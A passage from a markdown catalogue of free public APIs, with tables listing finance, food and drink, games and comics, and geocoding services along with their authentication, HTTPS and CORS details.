Real-Time RESTful APIs and Websocket for Stocks, Currencies, and Crypto \| `apiKey` \| Yes \| Unknown \| \| [FRED](https://fred.stlouisfed.org/docs/api/fred/) \| Economic data from the Federal Reserve Bank of St. Louis \| `apiKey` \| Yes \| Yes \| \| [Front Accounting APIs](https://frontaccounting.com/fawiki/index.php?n=Devel.SimpleAPIModule) \| Front accounting is multilingual and multicurrency software for small businesses \| `OAuth`\| Yes \| Yes \| \| [IEX Cloud](https://iexcloud.io/docs/api/) \| Realtime & Historical Stock and Market Data \| `apiKey` \| Yes \| Yes \| \| [IG](https://labs.ig.com/gettingstarted) \| Spreadbetting and CFD Market Data \| `apiKey` \| Yes \| Unknown \| \| [Indian Mutual Fund](https://www.mfapi.in/) \| Get complete history of India Mutual Funds Data \| No \| Yes \| Unknown \| \| [Intrinio](https://intrinio.com/) \| A wide selection of financial data feeds \| `apiKey` \| Yes \| Unknown \| \| [Klarna](https://docs.klarna.com/klarna-payments/api/payments-api/) \| Klarna payment and shopping service \| `apiKey` \| Yes \| Unknown \| \| [Kite Connect](https://kite.trade/docs/connect/v3/) \| Stock market investment and trading platform \| `apiKey` \| Yes \| No \| \| [MercadoPago](https://www.mercadopago.com.br/developers/es/reference) \| Mercado Pago API reference - all the information you need to develop your integrations \| `apiKey` \| Yes \| Unknown \| \| [Mono](https://mono.co/) \| Connect with users’ bank accounts and access transaction data in Africa \| `apiKey` \| Yes \| Unknown \| \| [Moov](https://docs.moov.io/api/) \| The Moov API makes it simple for platforms to send, receive, and store money \| `apiKey` \| Yes \| Unknown \| \| [Nordigen](https://nordigen.com/en/account_information_documenation/integration/quickstart_guide/) \| Connect to bank accounts using official bank APIs and get raw transaction data \| `apiKey` \| Yes \| Unknown \| \| [OpenFIGI](https://www.openfigi.com/api) \| Equity, index, futures, options symbology from Bloomberg LP \| `apiKey` \| Yes \| Yes \| \| [Plaid](https://plaid.com/) \| Connect with user's bank accounts and access transaction data \| `apiKey` \| Yes \| Unknown \| \| [Polygon](https://polygon.io/) \| Historical stock market data \| `apiKey` \| Yes \| Unknown \| \| [Portfolio Optimizer](https://portfoliooptimizer.io/) \| Portfolio analysis and optimization \| No \| Yes \| Yes \| \| [Razorpay IFSC](https://razorpay.com/docs/) \| Indian Financial Systems Code (Bank Branch Codes) \| No \| Yes \| Unknown \| \| [Real Time Finance](https://github.com/Real-time-finance/finance-websocket-API/) \| Websocket API to access realtime stock data \| `apiKey` \| No \| Unknown \| \| [Repetiti](https://developers.repetiti.com/) \| Repetiti 3d Printer Management Service \| `apiKey` \| Yes \| Yes \| \| [SEC EDGAR Data](https://www.sec.gov/edgar/sec-api-documentation) \| API to access annual reports of public US companies \| No \| Yes \| Yes \| \| [SmartAPI](https://smartapi.angelbroking.com/) \| Gain access to set of <SmartAPI> and create end-to-end broking services \| `apiKey` \| Yes \| Unknown \| \| [StockData](https://www.StockData.org) \| Real-Time, Intraday & Historical Market Data, News and Sentiment API \| `apiKey` \| Yes \| Yes \| \| [Styvio](https://www.Styvio.com) \| Realtime and historical stock data and current stock sentiment \| `apiKey` \| Yes \| Unknown \| \| [Tradier](https://developer.tradier.com) \| US equity/option market data (delayed, intraday, historical) \| `OAuth`\| Yes \| Yes \| \| [Twelve Data](https://twelvedata.com/) \| Stock market data (real-time & historical) \| `apiKey` \| Yes \| Unknown \| \| [WallstreetBets](https://dashboard.nbshare.io/apps/reddit/api/) \| WallstreetBets Stock Comments Sentiment Analysis \| No \| Yes \| Unknown \| \| [Validate Swift/BIC ](https://apyhub.com/utility/finance-validator-bic) \| Validates BIC/SWIFT code. \| `apiKey` \| Yes \| Yes \| \| [YNAB](https://api.youneedabudget.com/) \| Budgeting & Planning \| `OAuth`\| Yes \| Yes \| \| [Zoho Books](https://www.zoho.com/books/api/v3/) \| Online accounting software, built for your business \| `OAuth`\| Yes \| Unknown \| [⬆ Back to Index](#index) ### Food & Drink \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [BaconMockup](https://baconmockup.com/) \| Resizable bacon placeholder images \| No \| Yes \| Yes \| \| [Chomp](https://chompthis.com/api/) \| Data about various grocery products and foods \| `apiKey` \| Yes \| Unknown \| \| [Coffee](https://coffee.alexflipnote.dev/) \| Random pictures of coffee \| No \| Yes \| Unknown \| \| [Edamam nutrition](https://developer.edamam.com/edamam-docs-nutrition-api) \| Nutrition Analysis \| `apiKey` \| Yes \| Unknown \| \| [Edamam recipes](https://developer.edamam.com/edamam-docs-recipe-api) \| Recipe Search \| `apiKey` \| Yes \| Unknown \| \| [Foodish](https://github.com/surhud004/Foodish#readme) \| Random pictures of food dishes \| No \| Yes \| Yes \| \| [Fruityvice](https://www.fruityvice.com) \| Data about all kinds of fruit \| No \| Yes \| Unknown \| \| [Jelly Belly Wiki](https://jelly-belly-wiki.netlify.app/) \| Data about Jelly Belly beans- flavores, facts, history and more endpoints \| No \| Yes \| Yes \| \| [Kroger](https://developer.kroger.com/reference) \| Supermarket Data \| `apiKey` \| Yes \| Unknown \| \| [LCBO](https://lcboapi.com/) \| Alcohol \| `apiKey` \| Yes \| Unknown \| \| [Open Brewery DB](https://www.openbrewerydb.org) \| Breweries, Cideries and Craft Beer Bottle Shops \| No \| Yes \| Yes \| \| [Open Food Facts](https://world.openfoodfacts.org/data) \| Food Products Database \| No \| Yes \| Unknown \| \| [PunkAPI](https://punkapi.com/) \| Brewdog Beer Recipes \| No \| Yes \| Unknown \| \| [Spoonacular](https://spoonacular.com/food-api) \| Recipes, Food Products, and Meal Planning \| `apiKey` \| Yes \| Unknown \| \| [Status Pizza](https://status.pizza) \| Pizza for every HTTP Status \| No \| Yes \| Unknown \| \| [Systembolaget](https://api-portal.systembolaget.se) \| Govornment owned liqour store in Sweden \| `apiKey` \| Yes \| Unknown \| \| [TacoFancy](https://github.com/evz/tacofancy-api) \| Community-driven taco database \| No \| No \| Unknown \| \| [Tasty](https://rapidapi.com/apidojo/api/tasty/) \| API to query data about recipe, plan, ingredients \| `apiKey` \| Yes \| Unknown \| \| [The Report of the Week](https://github.com/andyklimczak/TheReportOfTheWeek-API) \| Food & Drink Reviews \| No \| Yes \| Unknown \| \| [TheCocktailDB](https://www.thecocktaildb.com/api.php) \| Cocktail Recipes \| `apiKey` \| Yes \| Yes \| \| [TheMealDB](https://www.themealdb.com/api.php) \| Meal Recipes \| `apiKey` \| Yes \| Yes \| \| [Untappd](https://untappd.com/api/docs) \| Social beer sharing \| `OAuth`\| Yes \| Unknown \| \| [What's on the menu?](http://nypl.github.io/menus-api/) \| NYPL human-transcribed historical menu collection \| `apiKey` \| No \| Unknown \| \| [WhiskyHunter](https://whiskyhunter.net/api/) \| Past online whisky auctions statistical data \| No \| Yes \| Unknown \| \| [Zestful](https://zestfuldata.com/) \| Parse recipe ingredients \| `apiKey` \| Yes \| Yes \| [⬆ Back to Index](#index) ### Games & Comics \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [AmiiboAPI](https://amiiboapi.com/) \| Nintendo Amiibo Information \| No \| Yes \| Yes \| \| [Animal Crossing: New Horizons](http://acnhapi.com/) \| API for critters, fossils, art, music, furniture and villagers \| No \| Yes \| Unknown \| \| [Atlas Academy](https://api.atlasacademy.io/docs) \| API for Fate/Grand Order game data \| No \| Yes \| Unknown \| \| [Autochess VNG](https://github.com/didadadida93/autochess-vng-api) \| Rest Api for Autochess VNG \| No \| Yes \| Yes \| \| [Barter.VG](https://github.com/bartervg/barter.vg/wiki) \| Provides information about Game, DLC, Bundles, Giveaways, Trading \| No \| Yes \| Yes \| \| [Battle.net](https://develop.battle.net/documentation/guides/getting-started) \| Diablo III, Hearthstone, StarCraft II and World of Warcraft game data APIs \| `OAuth` \| Yes \| Yes \| \| [Blue Archive](https://github.com/arufars/api-blue-archive) \| Provides Blue Archive characters information \| No \| Yes \| Yes \| \| [Board Game Geek](https://boardgamegeek.com/wiki/page/BGG_XML_API2) \| Board games, RPG and videogames \| No \| Yes \| No \| \| [Brawl Stars](https://developer.brawlstars.com) \| Brawl Stars Game Information \| `apiKey`\| Yes \| Unknown \| \| [Call of Duty](https://codapi.dev/) \| Unofficial wrapper for the Call of Duty API with multi-language support. \| No \| Yes \| Unknown \| \| [CheapShark](https://www.cheapshark.com/api) \| Steam/PC Game Prices and Deals \| No \| Yes \| Yes \| \| [Chess.com](https://www.chess.com/news/view/published-data-api) \| Chess.com read-only REST API \| No \| Yes \| Unknown \| \| [Clash of Clans](https://developer.clashofclans.com) \| Clash of Clans Game Information \| `apiKey`\| Yes \| Unknown \| \| [Clash Royale](https://developer.clashroyale.com) \| Clash Royale Game Information \| `apiKey`\| Yes \| Unknown \| \| [Comic Vine](https://comicvine.gamespot.com/api/documentation) \| Comics \| No \| Yes \| Unknown \| \| [Crafatar](https://crafatar.com) \| API for Minecraft skins and faces \| No \| Yes \| Yes \| \| [Cross Universe](https://crossuniverse.psychpsyo.com/apiDocs.html) \| Cross Universe Card Data \| No \| Yes \| Yes \| \| [CSGO](https://bymykel.github.io/CSGO-API/) \| An unofficial JSON API for Counter-Strike: Global Offensive \| No \| Yes \| No \| \| [Deck of Cards](https://deckofcardsapi.com/) \| Deck of Cards \| No \| Yes \| Unknown \| \| [Destiny The Game](https://bungie-net.github.io/multi/index.html) \| Bungie Platform API \| `apiKey`\| Yes \| Unknown \| \| [Digimon Information](https://digimon-api.vercel.app/) \| Provides information about digimon creatures \| No \| Yes \| Unknown \| \| [Digimon TCG](https://documenter.getpostman.com/view/14059948/TzecB4fH) \| Search for Digimon cards in digimoncard.io \| No \| Yes \| Unknown \| \| [Disney](https://disneyapi.dev) \| Information of Disney characters \| No \| Yes \| Yes \| \| [Dota 2](https://docs.opendota.com/) \| Provides information about Player stats, Match stats, Rankings for Dota 2\| `apiKey`\| Yes \| Unknown \| \| [Dungeons and Dragons](https://www.dnd5eapi.co/docs/) \| Reference for 5th edition spells, classes, monsters, and more \| No \| Yes \| No \| \| [Dungeons and Dragons (Alternate)](https://open5e.com/) \| Includes all monsters and spells from the SRD (System Reference Document) as well as a search API \| No \| Yes \| Yes \| \| [Eve Online](https://esi.evetech.net/ui) \| Third-Party Developer Documentation \| `OAuth` \| Yes \| Unknown \| \| [FFXIV Collect](https://ffxivcollect.com/) \| Final Fantasy XIV data on collectables \| No \| Yes \| Yes \| \| [FIFA Ultimate Team](https://www.easports.com/fifa/ultimate-team/api/fut/item) \| FIFA Ultimate Team items API \| No \| Yes \| Unknown \| \| [Final Fantasy XIV](https://xivapi.com/) \| Final Fantasy XIV Game data API \| No \| Yes \| Yes \| \| [FreeToGame](https://www.freetogame.com/api-doc) \| Free-To-Play Games Database \| No \| Yes \| Yes \| \| [FunTranslations](https://api.funtranslations.com/) \| Translate Text into funny languages \| No \| Yes \| Yes \| \| [GamerPower](https://www.gamerpower.com/api-read) \| Game Giveaways Tracker \| No \| Yes \| Yes \| \| [Geek-Jokes](https://github.com/sameerkumar18/geek-joke-api) \| Fetch a random geeky/programming related joke for use in all sorts of applications \| No \| Yes \| Yes \| \| [Genshin Impact](https://genshin.dev) \| Genshin Impact game data \| No \| Yes \| Yes \| \| [Giant Bomb](https://www.giantbomb.com/api/documentation) \| Video Games \| `apiKey`\| Yes \| Unknown \| \| [GraphQL Pokemon](https://github.com/favware/graphql-pokemon) \| GraphQL powered Pokemon API. Supports generations 1 through 8 \| No \| Yes \| Yes \| \| [Guild Wars 2](https://wiki.guildwars2.com/wiki/API:Main) \| Guild Wars 2 Game Information \| `apiKey`\| Yes \| Unknown \| \| [GW2Spidy](https://github.com/rubensayshi/gw2spidy/wiki) \| GW2Spidy API, Items data on the Guild Wars 2 Trade Market \| No \| Yes \| Unknown \| \| [Halo](https://developer.haloapi.com/) \| Halo 5 and Halo Wars 2 Information \| `apiKey`\| Yes \| Unknown \| \| [Hearthstone](http://hearthstoneapi.com/) \| Hearthstone Cards Information \| `X-Mashape-Key` \| Yes \| Unknown \| \| [Humble Bundle](https://rapidapi.com/Ziggoto/api/humble-bundle) \| Humble Bundle's current bundles \| `apiKey`\| Yes \| Unknown \| \| [Humor](https://humorapi.com) \| Humor, Jokes, and Memes \| `apiKey`\| Yes \| Unknown \| \| [Hypixel](https://api.hypixel.net/) \| Hypixel player stats \| `apiKey`\| Yes \| Unknown \| \| [Hyrule Compendium](https://github.com/gadhagod/Hyrule-Compendium-API) \| Data on all interactive items from The Legend of Zelda: BOTW \| No \| Yes \| Unknown \| \| [Hytale](https://hytale-api.com/) \| Hytale blog posts and jobs \| No \| Yes \| Unknown \| \| [IGDB.com](https://api-docs.igdb.com) \| Video Game Database \| `apiKey`\| Yes \| Unknown \| \| [Italian Jokes](https://italian-jokes.vercel.app/) \| JSON API for getting jokes about Italians \| No \| Yes \| Unknown \| \| [JokeAPI](https://sv443.net/jokeapi/v2/) \| Programming, Miscellaneous and Dark Jokes \| No \| Yes \| Yes \| \| [Jokes One](https://jokes.one/api/joke/) \| Joke of the day and large category of jokes accessible via REST API \| `apiKey`\| Yes \| Yes \| \| [Jservice](http://jservice.io) \| Jeopardy Question Database \| No \| No \| Unknown \| \| [Lichess](https://lichess.org/api) \| Access to all data of users, games, puzzles and etc on Lichess \| `OAuth` \| Yes \| Unknown \| \| [Magic The Gathering](http://magicthegathering.io/) \| Magic The Gathering Game Information \| No \| No \| Unknown \| \| [Marvel](https://developer.marvel.com) \| Marvel Comics \| `apiKey`\| Yes \| Unknown \| \| [Minecraft Server Status](https://api.mcsrvstat.us) \| API to get Information about a Minecraft Server \| No \| Yes \| No \| \| [MMO Games](https://www.mmobomb.com/api) \| MMO Games Database, News and Giveaways \| No \| Yes \| No \| \| [mod.io](https://docs.mod.io) \| Cross Platform Mod API \| `apiKey`\| Yes \| Unknown \| \| [Mojang](https://wiki.vg/Mojang_API) \| Mojang / Minecraft API \| `apiKey`\| Yes \| Unknown \| \| [Monster Hunter World](https://docs.mhw-db.com/) \| Monster Hunter World data \| No \| Yes \| Yes \| \| [moogleAPI](https://www.moogleapi.com/) \| Final Fantasy franchise data \| No \| Yes \| Unknown \| \| [Open Trivia](https://opentdb.com/api_config.php) \| Trivia Questions \| No \| Yes \| Unknown \| \| [PandaScore](https://developers.pandascore.co/) \| E-sports games and results \| `apiKey`\| Yes \| Unknown \| \| [Path of Exile](https://www.pathofexile.com/developer/docs) \| Path of Exile Game Information \| `OAuth` \| Yes \| Unknown \| \| [PlayerDB](https://playerdb.co/) \| Query Minecraft, Steam and XBox Accounts \| No \| Yes \| Unknown \| \| [Pokéapi](https://pokeapi.co) \| Pokémon Information \| No \| Yes \| Unknown \| \| [PokéAPI (GraphQL)](https://github.com/mazipan/graphql-pokeapi) \| The Unofficial GraphQL for PokeAPI \| No \| Yes \| Yes \| \| [Pokémon TCG](https://pokemontcg.io) \| Pokémon TCG Information \| No \| Yes \| Unknown \| \| [Psychonauts](https://psychonauts-api.netlify.app/) \| Psychonauts World Characters Information and PSI Powers \| No \| Yes \| Yes \| \| [PUBG](https://developer.pubg.com/) \| Access in-game PUBG data \| `apiKey`\| Yes \| Yes \| \| [Puyo Nexus](https://github.com/deltadex7/puyodb-api-deno) \| Puyo Puyo information from Puyo Nexus Wiki \| No \| Yes \| Yes \| \| [quizapi.io](https://quizapi.io/) \| Access to various kind of quiz questions \| `apiKey`\| Yes \| Yes \| \| [Raider](https://raider.io/api) \| Provides detailed character and guild rankings for Raiding and Mythic+ content in World of Warcraft \| No \| Yes \| Unknown \| \| [RAWG.io](https://rawg.io/apidocs) \| 500,000+ games for 50 platforms including mobiles \| `apiKey`\| Yes \| Unknown \| \| [Rick and Morty](https://rickandmortyapi.com) \| All the Rick and Morty information, including images \| No \| Yes \| Yes \| \| [Riot Games](https://developer.riotgames.com/) \| League of Legends, Teamfight Tactics, Legends of Runetera and Valorant information \| `apiKey`\| Yes \| Unknown \| \| [RPS 101](https://rps101.pythonanywhere.com/api) \| Rock, Paper, Scissors with 101 objects \| No \| Yes \| Yes \| \| [RuneScape](https://runescape.wiki/w/Application_programming_interface) \| RuneScape and OSRS RPGs information \| No \| Yes \| No \| \| [Sakura CardCaptor](https://github.com/JessVel/sakura-card-captor-api) \| Sakura CardCaptor Cards Information \| No \| Yes \| Unknown \| \| [Scryfall](https://scryfall.com/docs/api) \| Magic: The Gathering database \| No \| Yes \| Yes \| \| [SpaceTradersAPI](https://spacetraders.io?rel=pub-apis) \| A playable inter-galactic space trading MMOAPI \| `OAuth` \| Yes \| Yes \| \| [Steam](https://steamapi.xpaw.me/) \| Steam Web API documentation \| `apiKey`\| Yes \| No \| \| [Steam](https://github.com/Revadike/InternalSteamWebAPI/wiki) \| Internal Steam Web API documentation \| No \| Yes \| No \| \| [TCGdex](https://www.tcgdex.net/docs) \| Multi languages Pokémon TCG Information \| No \| Yes \| Yes \| \| [Tebex](https://docs.tebex.io/plugin/) \| Tebex API for information about game purchases \| `X-Mashape-Key` \| Yes \| No \| \| [TETR.IO](https://tetr.io/about/api/) \| TETR.IO Tetra Channel API \| No \| Yes \| Unknown \| \| [Tronald Dump](https://www.tronalddump.io/) \| The dumbest things Donald Trump has ever said \| No \| Yes \| Unknown \| \| [Universalis](https://universalis.app/docs/index.html) \| Final Fantasy XIV market board data \| No \| Yes \| Yes \| \| [Valorant (non-official)](https://valorant-api.com) \| An extensive API containing data of most Valorant in-game items, assets and more \| No \| Yes \| Unknown \| \| [Warface (non-official)](https://api.wfstats.cf) \| Official API proxy with better data structure and more features \| No \| Yes \| No \| \| [Wargaming.net](https://developers.wargaming.net/) \| Wargaming.net info and stats \| `apiKey`\| Yes \| No \| \| [When is next MCU film](https://github.com/DiljotSG/MCU-Countdown/blob/develop/docs/API.md) \| Upcoming MCU film information \| No \| Yes \| Unknown \| \| [xkcd](https://xkcd.com/json.html) \| Retrieve xkcd comics as JSON \| No \| Yes \| No \| \| [Yu-Gi-Oh!](https://db.ygoprodeck.com/api-guide/) \| Yu-Gi-Oh! TCG Information \| No \| Yes \| Unknown \| \| [Zelda](https://docs.zelda.fanapis.com/docs) \| The Legend of Zelda franchise data \| No \| Yes \| Unknown \| [⬆ Back to Index](#index) ### Geocoding \| API \| Description \| Auth \| HTTPS \| CORS \| \|---\|---\|---\|---\|---\| \| [Abstract IP Geolocation](https://www.abstractapi.com/ip-geolocation-api) \| Geolocate website visitors from their IPs \| `apiKey` \| Yes \| Yes \| \| [Actinia Grass GIS](https://actinia.mundialis.de/api_docs/) \| Actinia is an open source REST API for geographical data that uses GRASS GIS \| `apiKey` \| Yes \| Unknown \| \| [administrative-divisons-db](https://github.com/kamikazechaser/administrative-divisions-db) \| Get all administrative divisions of a country \| No \| Yes \| Yes \| \| [adresse.data.gouv.fr](https://adresse.data.gouv.fr) \| Address database of France, geocoding and reverse \| No \| Yes \| Unknown \| \| [Airtel IP](https://sys.airtel.lv/ip2country/1.1.1.1/?full=true) \| IP Geolocation API. Collecting data from multiple sources \| No \| Yes \| Unknown \| \| [Apiip](https://apiip.net/) \| Get location information by IP address \| `apiKey` \| Yes \| Yes \| \| [APlace.io](https://aplace.io/en) \| Address autocomplete and reverse geocoding API \| `apiKey` \| Yes \| Yes \| \| [Battuta](http://battuta.medunes.net) \| A (country/region/city) in-cascade location API \| `apiKey` \| No \| Unknown \| \| [BigDataCloud's IP Geolocation API](https://www.bigdatacloud.com/ip-geolocation) \| Provides fast and accurate IP geolocation APIs along with security checks and confidence area. \| `apiKey` \| Yes \| Yes \| \| [BigDataCloud's Reverse Geocoding API](https://www.bigdatacloud.com/reverse-geocoding) \| Get rich locality information from the geographical coordinates. \| `apiKey` \| Yes \| Yes \| \| [BigDataCloud's Phone and Email Verification API](https://www.bigdatacloud.com/phone-email-verification) \| Syntax and Format Validation of Phone Number and Email address. \| `apiKey` \| Yes \| Yes \| \| [BigDataCloud's Network Engineering API](https://www.bigdatacloud.com/network-engineering) \| Get detailed ASN and Network lookup of an IP address. \| `apiKey` \| Yes \| Yes \| \| [BigDataCloud's Free API](https://www.bigdatacloud.com//free-api) \| Get free client-side reverse geocoding API and Client Info API. No account creation and API key required.\| No \| Yes \| Yes \| \| [Bing Maps](https://www.microsoft.com/maps/) \| Create/customize digital maps based on Bing Maps data \| `apiKey` \| Yes \| Unknown \| \| [bng2latlong](https://www.getthedata.com/bng2latlong) \| Convert British OSGB36 easting and northing (British National Grid) to WGS84 latitude and longitude \| No \| Yes \| Yes \| \| [Cartes.io](https://github.com/M-Media-Group/Cartes.io/wiki/API) \| Create maps and markers for anything \| No \| Yes \| Unknown \| \| [Cep.la](http://cep.la/) \| Brazil RESTful API to find information about streets, zip codes, neighborhoods, cities and states \| No \| No \| Unknown \| \| [CitySDK](http://www.citysdk.eu/citysdk-toolkit/) \| Open APIs for select European cities \| No \| Yes \| Unknown \| \| [Country](http://country.is/) \| Get your visitor's country from their IP \| No \| Yes \| Yes \| \| [CountryStateCity](https://countrystatecity.in/) \| World countries, states, regions, provinces, cities & towns in JSON, SQL, XML, YAML, & CSV format \| `apiKey` \| Yes \| Yes \| \| [Ducks Unlimited](https://gis.ducks.org/datasets/du-university-chapters/api) \| API explorer that gives a query URL with a JSON response of locations and cities \| No \| Yes \| No \| \| [FreeGeoIP](https://freegeoip.app/) \| Free geo ip information, no registration required. 15k/hour rate limit \| No \| Yes \| Yes \| \| [GeoApi](https://api.gouv.fr/api/geoapi.html) \| French geographical data \| No \| Yes \| Unknown \| \| [Geoapify](https://www.geoapify.com/api/geocoding-api/) \| Forward and reverse geocoding, address autocomplete \| `apiKey` \| Yes \| Yes \| \| [Geocod.io](https://www.geocod.io/) \| Address geocoding / reverse geocoding in bulk \| `apiKey` \| Yes \| Unknown \| \| [Geocode.xyz](https://geocode.xyz/api) \| Provides worldwide forward/reverse geocoding, batch geocoding and geoparsing \| No \| Yes \| Unknown \| \| [Geocodify.com](https://geocodify.com/) \| Worldwide geocoding, geoparsing and autocomplete for addresses \| `apiKey` \| Yes \| Yes \| \| [Geodata.gov.gr](https://geodata.gov.gr/en/) \| Open geospatial data and API service for Greece \| No \| Yes \| Unknown \| \| [GeoDataSource](https://www.geodatasource.com/web-service) \| Geocoding of city name by using latitude and longitude coordinates \| `apiKey` \| Yes \| Unknown \| \| [GeoDB Cities](http://geodb-cities-api.wirefreethought.com/) \| Get global city, region, and country data \| `apiKey` \| Yes \| Unknown \| \| [GeographQL](https://geographql.netlify.app) \| A Country, State, and City GraphQL API \| No \| Yes \| Yes \| \| [GeoJS](https://www.geojs.io/) \| IP geolocation with ChatOps integration \| No \| Yes \| Yes \| \| [Geokeo](https://geokeo.com) \| Geokeo geocoding service- with 2500 free api requests daily \| No \| Yes \| Yes \| \| [GeoNames](http://www.geonames.org/export/web-services.html) \| Place names and other geographical data \| No \| No \| Unknown \| \| [geoPlugin](https://www.geoplugin.com) \| IP geolocation and currency conversion \| No \| Yes \| Yes \| \| [Google Earth Engine](https://developers.google.com/earth-engine/) \| A cloud-based platform for planetary-scale environmental data analysis \| `apiKey` \| Yes \| Unknown \| \| [Google Maps](https://developers.google.com/maps/) \| Create/customize digital maps based on Google Maps data \| `apiKey` \| Yes \| Unknown \| \| [Graph Countries](https://github.com/lennertVanSever/graphcountries) \| Country-related data like currencies, languages, flags, regions+subregions and bordering countries \| No \| Yes \| Unknown \| \| [HelloSalut](https://fourtonfish.com/project/hellosalut-api/) \| Get hello translation following user language \| No \| Yes \| Unknown \| \| [HERE Maps](https://developer.here.com) \| Create/customize digital maps based on HERE Maps data \| `apiKey` \| Yes \| Unknown \| \| [Hong Kong GeoData Store](https://geodata.gov.hk/gs/) \| API for accessing geo-data of Hong Kong \| No \| Yes \| Unknown \| \| [IBGE](https://servicodados.ibge.gov.br/api/docs/) \| Aggregate services of IBGE (Brazilian Institute of Geography and Statistics) \| No \| Yes \| Unknown \| \| [IP 2 Country](https://ip2country.info) \| Map an IP to a country \| No \| Yes \| Unknown \| \| [IP Address Details](https://ipinfo.io/) \| Find geolocation with ip address \| No \| Yes \| Unknown \| \| [IP Vigilante](https://www.ipvigilante.com/) \| Free IP Geolocation API \| No \| Yes \| Unknown \| \| [ip-api](https://ip-api.com/docs) \| Find location with IP address or domain \| No \| No \| Unknown \| \| [IP2Location](https://www.ip2location.com/web-service/ip2location) \| IP geolocation web service to get more than 55 parameters \| `apiKey` \| Yes \| Unknown \| \| [IP2Location.io](https://www.ip2location.io) \| Bundle of Free IP geolocation and WHOIS API \| `apiKey` \| Yes \| Unknown \| \| [IP2Proxy](https://www.ip2location.com/web-service/ip2proxy) \| Detect proxy and VPN using IP address \| `apiKey` \| Yes \| Unknown \| \| [ipapi.co](https://ipapi.co/api/#introduction) \| Find IP address location information \| No \| Yes \| Yes \| \| [IPGEO](https://api.techniknews.net/ipgeo/) \| Unlimited free IP Address API with useful information \| No \| Yes \| Unknown \| \| [ipgeolocation](https://ipgeolocation.io/) \| IP Geolocation AP with free plan 30k requests per month \| `apiKey` \| Yes \| Yes \| \| [IPInfoDB](https://www.ipinfodb.com/api) \| Free Geolocation tools and APIs for country, region, city and time zone lookup by IP address \| `apiKey` \| Yes \| Unknown \| \| [Kakao Maps](https://apis.map.kakao.com) \| Kakao Maps provide multiple APIs for Korean maps \| `apiKey` \| Yes \| Unknown \| \| [keycdn IP Location Finder](https://tools.keycdn.com/geo) \| Get the IP geolocation data through the simple REST API. All the responses are JSON encoded \| `apiKey` \| Yes \| Unknown \| \| [LocationIQ](https://locationiq.org/docs/) \| Provides forward/reverse geocoding and batch geocoding \| `apiKey` \| Yes \| Yes \| \| [Longdo Map](https://map.longdo.com/docs/) \| Interactive map with detailed places and information portal in Thailand \| `apiKey` \| Yes \| Yes \| \| [Mapbox](https://docs.mapbox.com/) \| Create/customize beautiful digital maps \| `apiKey` \| Yes \| Unknown \| \| [MapQuest](https://developer.mapquest.com/) \| To access tools and resources to map the world \| `apiKey` \| Yes \| No \| \| [Mexico](https://github.com/IcaliaLabs/sepomex) \| Mexico RESTful zip codes API \| No \| Yes \| Unknown \| \| [Nominatim](https://nominatim.org/release-docs/latest/api/Overview/) \| Provides worldwide forward / reverse geocoding \| No \| Yes \| Yes \| \| [One Map, Singapore](https://www.onemap.gov.sg/docs/) \| Singapore Land Authority REST API services for Singapore addresses \| `apiKey` \| Yes \| Unknown \| \| [OnWater](https://onwater.io/) \| Determine if a lat/lon is on water or land \| No \| Yes \| Unknown \| \| [Open Topo Data](https://www.opentopodata.org) \| Elevation and ocean depth for a latitude and longitude \| No \| Yes \| No \| \| [OpenCage](https://opencagedata.com) \| Forward and reverse geocoding using open data \| `apiKey` \| Yes \| Yes \| \| [openrouteservice.org](https://openrouteservice.org/) \| Directions, POIs, isochrones, geocoding (+reverse), elevation, and more \| `apiKey` \| Yes \| Unknown \| \| [OpenStreetMap](http://wiki.openstreetmap.org/wiki/API) \| Navigation, geolocation and geographical data \| `OAuth`\| No \| Unknown \| \| [Pinball Map](https://pinballmap.com/api/v1/docs) \| A crowdsourced map of public pinball machines \| No \| Yes \| Yes \| \| [Postali](https://postali.app/api) \| Mexico Zip Codes API \| No \| Yes \| Yes \| \| [PostcodeData.nl](http://api.postcodedata.nl/v1/postcode/?postcode=1211EP&streetnumber=60&ref=domeinnaam.nl&type=json) \| Provide geolocation data based on postcode for Dutch addresses \| No \| No \| Unknown \| \| [Postcodes.io](https://postcodes.io) \| Postcode lookup & Geolocation for the UK \| No \| Yes \| Yes \| \| [Proweblook IP Checker](https://proweblook.com/ipapi) \| Proweblook lookup & Geolocation \| `apiKey` \| Yes \| Yes \| \| [Queimadas INPE](https://queimadas.dgi.inpe.br/queimadas/dados-abertos/) \| Access to heat focus data (probable wildfire) \| No \| Yes \| Unknown \| \| [REST Countries](https://restcountries.com) \| Get information about countries via a RESTful API \| No \| Yes \| Yes \| \| [RoadGoat Cities](https://www.roadgoat.com/business/cities-api) \| Cities content & photos API \| `apiKey` \| Yes \| No \| \| [Rwanda Locations](https://rapidapi.com/victorkarangwa4/api/rwanda) \| Rwanda Provinces, Districts, Cities, Capital City, Sector, cells, villages and streets \| No \| Yes \| Unknown \| \| [SLF](https://github.com/slftool/slftool.github.io/blob/master/API.md) \| German city, country, river, database \| No \| Yes \| Yes \| \| [SpotSense](https://spotsense.io/) \| Add location based interactions to your mobile app \| `apiKey` \| Yes \| Unknown \| \| [Telize](https://rapidapi.com/fcambus/api/telize/) \| Telize offers location information from any IP address \| `apiKey` \| Yes \| Yes \| \| [TomTom](https://developer.tomtom.com/) \| Maps, Directions, Places and Traffic APIs \| `apiKey` \| Yes \| Yes \| \| [Uebermaps](https://uebermaps.com/api/v2) \| Discover and share maps with friends \| `apiKey` \| Yes \| Unknown \| \| [US ZipCode](https://www.smarty.com/docs/cloud/us-zipcode-api) \| Validate and append data for any US ZipCode \| `apiKey` \| Yes \| Yes \| \| [Utah AGRC](https://api.mapserv.utah.gov) \| Utah Web API for geocoding Utah addresses \| `apiKey` \| Yes \| Unknown \| \| [ViaCep](https://viacep.com.br) \| Brazil RESTful zip codes API \| No \| Yes \| Unknown \| \| [What3Words](https://what3words.com) \| Three words as rememberable and unique coordinates worldwide \| `apiKey` \| Yes \| Unknown \| \| [Yandex.Maps Geocoder](https://yandex.com/dev/maps/geocoder) \| Use geocoding to get an object's coordinates from its address \| `apiKey` \| Yes \| Unknown \| \| [ZipCodeAPI](https://www.zipcodeapi.com) \| US zip code distance, radius and location API \| `apiKey` \| Yes \| Unknown \| \| [Zippopotam.us](http://www.zippopotam.us) \| Get information about place such as country, city, state, etc \| No \| No \| Unknown \| \| [Ziptastic](https://ziptasticapi.com/) \| Get the country, state, and city of any US zip-code \| No \| Yes \| Unknown \| \| [Zipcodestack](https://zipcodestack.com/) \| Zip Code API - Free Postal Code Validation \| 